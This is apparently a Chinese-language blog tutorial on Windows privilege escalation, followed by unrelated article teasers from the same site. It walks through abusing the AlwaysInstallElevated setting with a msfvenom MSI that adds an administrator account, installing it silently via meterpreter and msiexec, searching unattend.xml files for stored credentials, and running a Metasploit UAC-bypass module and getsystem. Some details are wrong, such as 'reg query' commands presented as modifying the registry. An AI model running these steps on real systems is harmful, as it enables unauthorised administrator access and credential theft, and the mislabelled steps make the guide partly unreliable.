在 Windows 当中有一种设定可以让非管理权限的使用者,使用系统权限安装 Microsoft Windows 的安装档案,也就是 MSI 档案,也就是利用管理员的权限执行。
因此可以利用该功能去执行恶意的 msi 档案,使用的条件需要目标系统需要开启该设定,因此我们可以透过指令去修改 Windows 注册表的值。
STEP1:修改注册表值
两张注册表都需要更改,分别是 HKCU 和 HKLM:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
STEP2:产生後门
msfvenom -p windows/adduser USER=admin PASS=password -f msi -o fei.msi
执行该程序之後可以新增管理员使用者,和反弹有系统权限的 revershell 进行攻击。
STEP3:上传後门
meterpreter > upload fei.msi "C:\\Users\\User\\Desktop"
STEP4:安装恶意的 MSI 档案
msiexec /quiet /qn /i C:\\Users\\User\\Desktop\\fei.msi
参数 | 说明 |
---|---|
/quiet | 透过 quiet 绕过 Windows 的 UAC |
/qn | 不使用 GUI 进行安装 |
/i | 引入的 library 进行一般安装 |
亦可透过 Metasploit 的模组 exploit/windows/local/always_install_elevated
来利用 AlwaysInstallElevated 漏洞。
透过 Unattended Installs 的安装方式,可以允许无使用者、管理员的情况下,也就是不需要使用者点选下一步,进行 Windows 安装程序,简单来说就是自动化安装。
若进行自动化安装需要新增 autounattend.xml
,且透过 Windows Assessment and Deployment Kit (ADK) 进行部属,这个档案内部包含自动化安装的所有设定,可能包含使用者帐号如一般帐号或管理员帐号的资讯。
STEP1: 寻找 autounattend.xml
档案
寻找路径如下:
C:\Windows\Panther
C:\Windows\Panther\Unattend
C:\Windows\System32
C:\Windows\System32\sysprep\
寻找档案名称如下:
autounattend.xml
Unattend.xml
unattended.xml
unattend.txt
sysprep.xml
sysprep.inf
亦可透过 Metasploit 的模组 post/windows/gather/enum_unattend
来利用 AlwaysInstallElevated 漏洞。
UAC 是 Windows 的安全机制,可以让管理员拥有两个单独的 token,分别为standard user access token
、administrator access token
。
standard user access token
:用来执行不需要管理权限的程序,如 Web 浏览器、电子信箱程序。administrator access token
:用来执行需要管理员权限的程序,如针对系统的修改。step1: 取得目标网站 Meterpreter shell 权限,并将连线资讯放置於背景中
meterpreter > background
setp2: 使用指定模组
use exploit/windows/local/bypassuac
step3: 设定参数
该漏洞利用工具会产生第二个 shell。
set session [Session ID]
set lhost [VPN IP]
run
step4:确认权限
meterpreter > getsystem
https://jerry-the-potato.github.io/ChapterX-demo/ ...
传统网页曾经有用过Table 排版并显示 当各式排版方式横行的时代 Table 已经归类於资料呈现的...
昨天有讲到一个叫做 getUpdates 的方法,但我们没有填任何参数,今天要利用 offset 与...
前情提要 在前一篇文章内容中带大家建立了 pipenv 虚拟环境,并在虚拟环境中装了套件。又安装了 ...
>SELECT:查询 SELECT 基本语法 SELECT '栏位名称' FROM '资料表名...